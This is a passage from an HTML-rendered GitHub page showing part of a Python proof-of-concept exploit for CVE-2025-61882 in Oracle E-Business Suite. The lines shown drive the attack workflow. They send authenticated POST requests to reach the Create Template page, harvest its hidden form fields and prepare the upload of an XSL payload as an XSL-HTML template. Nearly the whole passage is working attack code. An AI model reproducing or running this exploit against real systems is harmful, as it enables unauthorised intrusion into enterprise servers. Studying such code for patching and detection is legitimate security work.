id=\&quot;file-ebs_cve-2025-61882_poc-py-L172\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;172\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC172\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s>&amp;#39;event&amp;#39;</span>] <span class=pl-c1>=</span> <span class=pl-s>&amp;#39;&amp;#39;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L173\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;173\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC173\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s>&amp;#39;source&amp;#39;</span>] <span class=pl-c1>=</span> <span class=pl-s>&amp;#39;&amp;#39;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L174\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;174\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC174\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L175\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;175\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC175\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Regex failed on onclick text&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L176\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;176\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC176\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L177\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;177\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC177\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L178\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;178\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC178\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Could not find Create Template button&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L179\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;179\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC179\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L180\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;180\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC180\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L181\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;181\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC181\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Sending POST request to navigate to Create Page...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L182\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;182\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC182\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L183\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;183\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC183\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>try</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L184\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;184\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC184\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>r</span> <span class=pl-c1>=</span> <span class=pl-s1>requests</span>.<span class=pl-c1>post</span>(<span class=pl-s1>full_url</span>, <span class=pl-s1>headers</span><span class=pl-c1>=</span><span class=pl-c1>HEADERS</span>, <span class=pl-s1>cookies</span><span class=pl-c1>=</span><span class=pl-c1>COOKIES</span>, <span class=pl-s1>data</span><span class=pl-c1>=</span><span class=pl-s1>payload</span>, <span class=pl-s1>verify</span><span class=pl-c1>=</span><span class=pl-c1>False</span>, <span class=pl-s1>proxies</span><span class=pl-c1>=</span><span class=pl-c1>PROXY</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L185\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;185\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC185\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L186\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;186\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC186\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s>&amp;quot;Create Template&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span> <span class=pl-c1>and</span> <span class=pl-s>&amp;quot;AttachData_oafileUpload&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L187\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;187\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC187\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span> <span class=pl-s1>r</span>.<span class=pl-c1>text</span> </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L188\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;188\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC188\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L189\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;189\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC189\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Failed. Still on Search page or Error.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L190\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;190\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC190\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-en>print</span>(<span class=pl-s1>r</span>.<span class=pl-c1>text</span>[:<span class=pl-c1>500</span>])</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L191\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;191\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC191\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>return</span> <span class=pl-c1>None</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L192\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;192\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC192\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L193\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;193\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC193\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>except</span> <span class=pl-v>Exception</span> <span class=pl-k>as</span> <span class=pl-s1>e</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L194\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;194\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC194\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>f&amp;quot;Error: <span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>e</span><span class=pl-kos>}</span></span>&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L195\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;195\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC195\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L196\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;196\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC196\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;><span class=pl-k>def</span> <span class=pl-en>step_3</span>(<span class=pl-s1>url</span>, <span class=pl-s1>html_content</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L197\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;197\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC197\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[*] Starting Step 3: Parsing Create Template Page &amp;amp; Uploading XSL Payload...&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L198\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;198\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC198\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>soup</span> <span class=pl-c1>=</span> <span class=pl-en>BeautifulSoup</span>(<span class=pl-s1>html_content</span>, <span class=pl-s>&amp;#39;html.parser&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L199\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;199\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC199\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L200\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;200\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC200\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>form</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;form&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;DefaultFormName&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L201\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;201\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC201\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>form</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L202\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;202\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC202\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Error: Cannot find form DefaultFormName&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L203\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;203\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC203\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>return</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L204\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;204\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC204\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L205\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;205\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC205\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>action_url</span> <span class=pl-c1>=</span> <span class=pl-s1>form</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;action&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L206\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;206\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC206\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>action_url</span>.<span class=pl-c1>startswith</span>(<span class=pl-s>&amp;quot;/&amp;quot;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L207\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;207\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC207\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s>f&amp;quot;<span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>url</span><span class=pl-kos>}</span></span><span class=pl-s1><span class=pl-kos>{</span><span class=pl-s1>action_url</span><span class=pl-kos>}</span></span>&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L208\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;208\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC208\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>else</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L209\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;209\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC209\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>full_url</span> <span class=pl-c1>=</span> <span class=pl-s1>action_url</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L210\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;210\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC210\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L211\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;211\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC211\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>payload</span> <span class=pl-c1>=</span> {}</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L212\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;212\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC212\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>for</span> <span class=pl-s1>tag</span> <span class=pl-c1>in</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find_all</span>(<span class=pl-s>&amp;#39;input&amp;#39;</span>, <span class=pl-s1>type</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;hidden&amp;#39;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L213\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;213\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC213\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>name</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;name&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L214\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;214\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC214\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-s1>value</span> <span class=pl-c1>=</span> <span class=pl-s1>tag</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>, <span class=pl-s>&amp;#39;&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L215\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;215\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC215\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>if</span> <span class=pl-s1>name</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L216\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;216\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC216\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-s1>payload</span>[<span class=pl-s1>name</span>] <span class=pl-c1>=</span> <span class=pl-s1>value</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L217\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;217\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC217\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L218\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;218\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC218\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>temp_type_val</span> <span class=pl-c1>=</span> <span class=pl-s>&amp;quot;&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L219\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;219\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC219\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>temp_type_select</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;select&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;TempType&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L220\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;220\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC220\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>temp_type_select</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L221\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;221\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC221\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-k>for</span> <span class=pl-s1>option</span> <span class=pl-c1>in</span> <span class=pl-s1>temp_type_select</span>.<span class=pl-c1>find_all</span>(<span class=pl-s>&amp;#39;option&amp;#39;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L222\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;222\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC222\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>if</span> <span class=pl-s>&amp;quot;XSL-HTML&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>option</span>.<span class=pl-c1>text</span>: </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L223\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;223\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC223\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>temp_type_val</span> <span class=pl-c1>=</span> <span class=pl-s1>option</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L224\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;224\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC224\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-k>break</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L225\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;225\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC225\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    </td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L226\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;226\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC226\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-c1>not</span> <span class=pl-s1>temp_type_val</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L227\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;227\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC227\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>        <span class=pl-en>print</span>(<span class=pl-s>&amp;quot;[-] Warning: Could not find XSL-HTML option in TempType.&amp;quot;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L228\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;228\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC228\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>\n</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L229\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;229\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC229\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>def_out_val</span> <span class=pl-c1>=</span> <span class=pl-s>&amp;quot;&amp;quot;</span></td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L230\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;230\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC230\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-s1>def_out_select</span> <span class=pl-c1>=</span> <span class=pl-s1>soup</span>.<span class=pl-c1>find</span>(<span class=pl-s>&amp;#39;select&amp;#39;</span>, <span class=pl-s1>id</span><span class=pl-c1>=</span><span class=pl-s>&amp;#39;DefaultOutputType&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L231\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;231\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC231\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>    <span class=pl-k>if</span> <span class=pl-s1>def_out_select</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L232\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;232\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC232\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>         <span class=pl-k>for</span> <span class=pl-s1>option</span> <span class=pl-c1>in</span> <span class=pl-s1>def_out_select</span>.<span class=pl-c1>find_all</span>(<span class=pl-s>&amp;#39;option&amp;#39;</span>):</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L233\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;233\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC233\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>            <span class=pl-k>if</span> <span class=pl-s>&amp;quot;PDF&amp;quot;</span> <span class=pl-c1>in</span> <span class=pl-s1>option</span>.<span class=pl-c1>text</span>:</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L234\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;234\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC234\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-s1>def_out_val</span> <span class=pl-c1>=</span> <span class=pl-s1>option</span>.<span class=pl-c1>get</span>(<span class=pl-s>&amp;#39;value&amp;#39;</span>)</td>\n        </tr>\n        <tr>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-L235\&quot; class=\&quot;blob-num js-line-number js-blob-rnum\&quot; data-line-number=\&quot;235\&quot;></td>\n          <td id=\&quot;file-ebs_cve-2025-61882_poc-py-LC235\&quot; class=\&quot;blob-code blob-code-inner js-file-line\&quot;>                <span class=pl-k>break</span></td>\n        </tr>\n        <tr>\n          <td 